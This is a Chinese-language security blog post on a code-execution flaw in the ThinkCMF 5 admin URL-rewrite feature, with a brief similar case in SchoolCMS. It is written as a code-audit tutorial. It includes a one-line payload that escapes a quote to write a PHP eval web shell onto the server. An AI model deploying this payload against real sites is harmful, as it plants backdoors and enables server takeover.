ThinkCMF5 代码执行漏洞及后续有关思考

作者:   深圳市网安计算机安全检测技术有限公司 2019/03/21 16:43:43 344次阅读 国际
文章来源:https://www.anquanke.com/post/id/173771

alt

 

Remark:文章简单易懂,新手向;

在过去的一段时间里面,我和好基友论过有关CMS“修改” 会存在的代码执行的问题;我们在这个方面对于少量CMS进行了分析,分析过程暂且不表,直接说结论:修改配置时,大多数情况下都会对配置文件/缓存文件/数据库进行操作,而在这个过程中不论如何实现,几乎都会对“管理员” 所做的修改输入有过滤。当绕过了这些过滤方法之后,通常可以达到同一个目的:代码执行;

ThinkCMF版本为:thinkcmf-5.0.190111

以下是分析过程,使用的方法是监控文件动态并分析Controller分析;

后台中有这样一个功能:

t01bf585df278250b4a.png

图0x0 thinkCMF后台-URL美化功能

这是一个URL美化的功能,在看到这个地方的时候我感觉这个功能所进行的”修改“可能会出问题;首先我以正常的管理员操作进行尝试:

t01705263a5a677f513.png

图0x1 URL美化功能-添加URL规则

这里我选择是一个默认的有关Index的规则,我进行保存:

t01e60298b18e83fb42.png

图0x2 保存时的第一个POST请求

t01334d8d3cbcd1fe04.png

图0x3 保存时的第二个POST请求

在这里看整体变化:

0x0:通过数据库general_log收集到执行了: INSERT INTO `cmf_route` (`full_url` , `url` , `status`) VALUES (‘portal/List/index’ , ‘list/:id’ , ‘1’) 这样的一条语句;

0x1:通过对文件进行监控发现修改了/data/conf/route.php 文件;

t017c11bfae3fd35ff6.png

图0x4 修改之后的/data/conf/route.php文件

这时候我只有一个想法:应该有戏;

进入到代码层进行分析:

处理这个请求的Controller位于:\app\admin\controller\RouteController.php

t015fcd36f108124853.png

图0x5 addPost()

这个方法在上面的注释写的很详细:添加路由规则提交;

作为我们实验室的十万个为什么,我理所因当的问自己:提交到了哪?

那么加入调试信息:

t0131ce63d2008a7755.png

图 0x6 加入调试信息,打印可控变量

这里很明显是save()对于数据库进行了操作,那么单独发包+数据库general_log监控:

t011c82453392a6275a.png

图 0x7 单独发包

监控general_log得到结果:INSERT INTO `cmf_route` (`full_url` , `url` , `status`) VALUES (‘portal/List/index’ , ‘list/:id’ , ‘1’)

和之前在整体分析的一致,那么我这里作为一个备用点:可能在这里有一个可用的SQL注入;

t01d6d65df34bd81925.png

图0x8 index()

梳理思路:第一个Request将我们设置的配置信息写进了数据库,这里我们找到了一个可能可以导致SQL的点,但是不急于研究局部,继续看整体;

那么我们继续下去:

这个方法应该是请求页面/回显页面的index方法,getRoutes()方法根据我的猜测是获得这些规则的方法,跟进:

t01c253e52169bd7b72.png

图0x9 跟进getRoutes(),发现了这里写入的文件正是我们刚才关注的route.php文件

对route.php进行了文件写入,这里使用拼接,而我们可能控制的变量为:$allRoutes,经过了两个函数处理,只是简单的删除了反斜杠,并未对单引号进行处理,造成了逃逸单引号写入内容;

那么最后需要分析的是传入的变量$allRoutes,我们先加调试:

t0112cff19bad02eee1.png

图0xA 加入调试信息,逆向追踪参数传入

随便找到之前的一个Request,再次请求并定位:

t019ea6998362718f21.png

图0xB 再次访问Index,然后找到其打印的调试信息,观察传入参数

在这里可以观察到和我们之前写进数据库的值是一样的,我猜测$allRoutes很有可能就是从数据库里面直接读出来的;

那么形成利用思路:

0x0:首先我们可以控制数据库的写入

0x1:间接的控制了$allRoutes变量

0x2:逃逸单引号,我们可以往route.php中写入代码并再写入之后再次触发执行

实际利用之前清空一下之前的环境,将所有规则先删除,回头观察route.php(图0x4):

t0172a84a004141fada.png

图0xC 没有规则时候的route.php

对比图0x4与图0xC,构造payload:’.file_put_contents(‘f1ower.php’,'<?php @eval($_POST[f]); ?>’).’

在添加URL的时候对显示网址栏插入Paylaod:

t011dcae2a8f488f926.png

图0xD 在添加URL规则-显示网址中插入Payload

然后保存,这时候应该写进了数据库,然后写进了route.php;

t01a8ae3ea2441a3377.png

图0xE 返回页面中,之前我们加入的打印信息更加印证了我们的利用思路

然后我查看route.php:

t01ace8efd2c7b0c7ad.png

图0xF 修改之后的route.php

直接重新点击访问URL美化功能,或者直接发一个Request进行触发:

t011b0cd8e47e34a265.png

图0x10 触发route.php,执行代码

t01698548f4e60e0f7d.png

图0x11 写出文件成功

利用思路总结一下:

写文件->执行文件->写出文件

同样是写文件的例子,在之前审计的一个CMS中甚至用简单的黑盒也找到过一个更简单的代码执行:

名称/版本:SchoolCMS_2.3.1_UTF8

t011634e654d803fc21.png

图0x12 SchoolCMS后台-后台配置功能

这里的分页数量当时进行了一个简单尝试,发现修改的内容会写进缓存文件中:

t01e80e42fb1b5d1521.png

图0x13 缓存文件Application/Runtime/Temp/38432eb7369925b9a826f2b9f64e2262.php

t015b00da2c2818e346.png

图 0x14 在admin_page_number的值中加入Payload

t01a1b4325ab76e8ab4.png

图0x15 修改后的缓存文件

在这个CMS中同样造成了代码执行漏洞;

在实际的环境中,配置功能是必不可少的,几乎所有的CMS都会具有这个功能点;开发人员使用不同的方法实现,但是在代码审计中,我们可以通过文件监控与数据库监控等辅助手段进行此方面的漏洞尝试;

Tips:

0x0:把握整体大局变化

0x1:文件变化与数据库变化的把握

0x2:然后针对性代码分析

最后附上群里CoolCat师傅写的一款文件监控小工具:https://github.com/TheKingOfDuck/FileMonitor

相信对于大家在文件监控或多或少有一些帮助;


指导单位
广东省公安厅网络警察总队 广东省信息安全等级保护协调小组办公室